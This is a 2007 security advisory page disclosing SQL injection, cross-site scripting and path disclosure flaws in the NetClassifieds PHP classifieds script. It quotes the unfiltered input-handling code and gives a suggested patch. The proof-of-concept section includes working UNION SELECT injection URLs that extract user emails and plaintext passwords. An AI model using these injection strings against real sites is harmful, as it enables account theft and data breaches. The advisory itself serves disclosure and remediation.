SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
Search :
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

NetClassifieds [multiple vulnerabilities]


Arrow  SecurityAlert : 2824
Arrow  CVE : CVE-2007-3357
Arrow  CVE : CVE-2007-3356
Arrow  CVE : CVE-2007-3355
Arrow  CVE : CVE-2007-3354
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Given : Yes
Arrow  Credit : laurent gaffie
Arrow  Published : 26.06.2007

Arrow  Affected Software : NetClassifieds



Arrow  Advisory Text :  

Application: NetClassifieds
version:
-Free Edition
-Standard Edition
-Professional Edition
-Premium Edition
Web Site: http://www.scriptdevelopers.net/
Versions: all
Platform: linux, windows
Bug: multiple injection sql , xss , full path
Fix Available: Yes

-------------------------------------------------------

1) Introduction
2) Bug
3) The Code
4) Proof of concept
5) Fix
6)Conclusion

===========
1) Introduction
===========

"NetClassifieds Premium Edition has been built on the premise of making
every
classifieds site feel like it was custom written for the purpose for which
it's being used.
Automotive Sites, Horse Sites, Reality Sites, General Classifieds Sites or
any other type
of classifieds site you can think of will find a perfect match in
NetClassifieds"

======
2) Bug
======

injection sql , xss , full path

===============
3) Vulnerable code:
===============
in Common.php

line 310:

function CCStrip($value)
{
if(get_magic_quotes_gpc() == 0)
return $value;
else
return stripslashes($value); // ==> wtf... 0-o
}

ligne 350:

function CCGetFromPost($parameter_name, $default_value)
{
global $HTTP_POST_VARS;

$parameter_value = "";
if(isset($HTTP_POST_VARS[$parameter_name]))
$parameter_value = CCStrip($HTTP_POST_VARS[$parameter_name]);
else
$parameter_value = $default_value;

return $parameter_value;
}

line 365:

function CCGetFromGet($parameter_name, $default_value)
{
global $HTTP_GET_VARS;

$parameter_value = "";
if(isset($HTTP_GET_VARS[$parameter_name]))
$parameter_value = CCStrip($HTTP_GET_VARS[$parameter_name]);
else
$parameter_value = $default_value;

return $parameter_value;
}

nothing is filtred ....

let's see how it goes in viewcat.php:

line 63:
include(RelativePath . "/Common.php");

line 519:
$this->ds->Parameters["urlCatID"] = CCGetFromGet("CatID", "");

line 909:
$catdb1 = new clsDBNetConnect;

$catdb1->connect();

$newSQL1 = "SELECT cat_id FROM categories WHERE sub_cat_id='" .
CCGetFromGet("CatID", "") . "'";

$incat = "'" . CCGetFromGet("CatID", "") . "'";

I wont past every line of this code , because EVERY parameter is vulnerable
to sql injection , XSS , full path ...

=====
4)proof of concept
=====

exemple of exploitation :
1)
http://site.com/ViewCat.php?CatID=-8+union+select+1,email,3+from+users/*

==> ( Database error: Invalid SQL: SELECT name, sub_cat_id, cat_id FROM
categories WHERE cat_id=username (at) mail (dot) com [email concealed] )

2)http://site.com/ViewCat.php?s_user_id='+union+select+user_password+fro
m+users+where%20user_id=1/*
==> The value in field urls_user_id is not valid. (passwd_PLAIN_TEXT)

// there's absolutly no encryption in this script for stored password , or
sensitive data ...

every input are vulnerable to XSS attacks ( there's maybe 40 inputs ... )
via mysql errors , php error , and via
various unfiltred forms .

ps: depending of the version , the number of column change , but it's coded
on the same way ...

=====
5) Fix
=====
scriptdevelopers has been advised , i dont think they will release any
patch at the moment .

here's my "patch" :

1) in Common.php:
line 30 :
ADD:
ini_set(display_errors,"0");
( in a production mode , no one needs to know your errors .. and this avoid
xss via php error )

ligne 350:
function CCGetFromPost // for every POST request
avant : return $parameter_value;
apres : return preg_replace('/[^a-z0-9]/i', '', $parameter_value); //only 0
to 9 and a to z caracters allowed

line 365:
function CCGetFromGet // for every GET request
replace :
return $parameter_value;
BY
return preg_replace('/[^a-z0-9]/i', '', $parameter_value);

2) in Mysql_db.php
line 52 :
var $Halt_On_Error = "yes"; ## "yes" (halt with message), "no" (ignore
errors quietly), "report" (ignore errror, but spit a warning)

set the value at "no" ( by default it's yes )
this will avoid juicy errors , such as table name and the complete query

3) imageresizer.php

line 2:
ADD :
ini_set(display_errors,"0");
( same reason as Common.php )

line 100 :
replace : echo("<hr color='red'><font color='red'><b>$msg</b></font><br>
file=<b>".__FILE__."</b><hr color='red'>")
BY
echo("<hr color='red'><font color='red'><b>error while processing your
request</b></font><br> <b></b><hr color='red'>");

".__FILE__." show the full path, no one need to know where is located your
script on the server .
and usually a full path give the username for the ftp , or cpanel .
( /directory/your_user/www/file.php )

=====
5) Conclusion
=====

This script has not been develloped in a secure way, and it's really
dangerous
to use it UNPATCHED

regards laurent gaffié
contact : laurent.gaffie (at) gmail (dot) com [email concealed]




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

Multiple Vendors libc/gdtoa printf(3) Array Overrun

Security Risk High- 2009-05-30

SecurityReason realised new advisory about vulnerabilities libc/gdtoa...

Apache RSS Apache Alert

» Apache Tomcat
   RequestDispatcher
   directory traversal
   vulnerability

» Apache mod_dav / svn
   Remote Denial of Service
   Exploit

» Apache Tomcat Information
   disclosure

» Apache Tomcat User
   enumeration vulnerability
   with FORM authentication

PHP RSS PHP Alert

» PHP 5.2.9 curl safe_mode
   & open_basedir bypass

» PHP 5.2.6 SAPI
   php_getuid() overload

» PHP
   ZipArchive::extractTo()
   Directory Traversal
   Vulnerability

» PHP 5.2.6 dba_replace()
   destroying file

Copyright © SecurityReason.com. All Rights Reserved.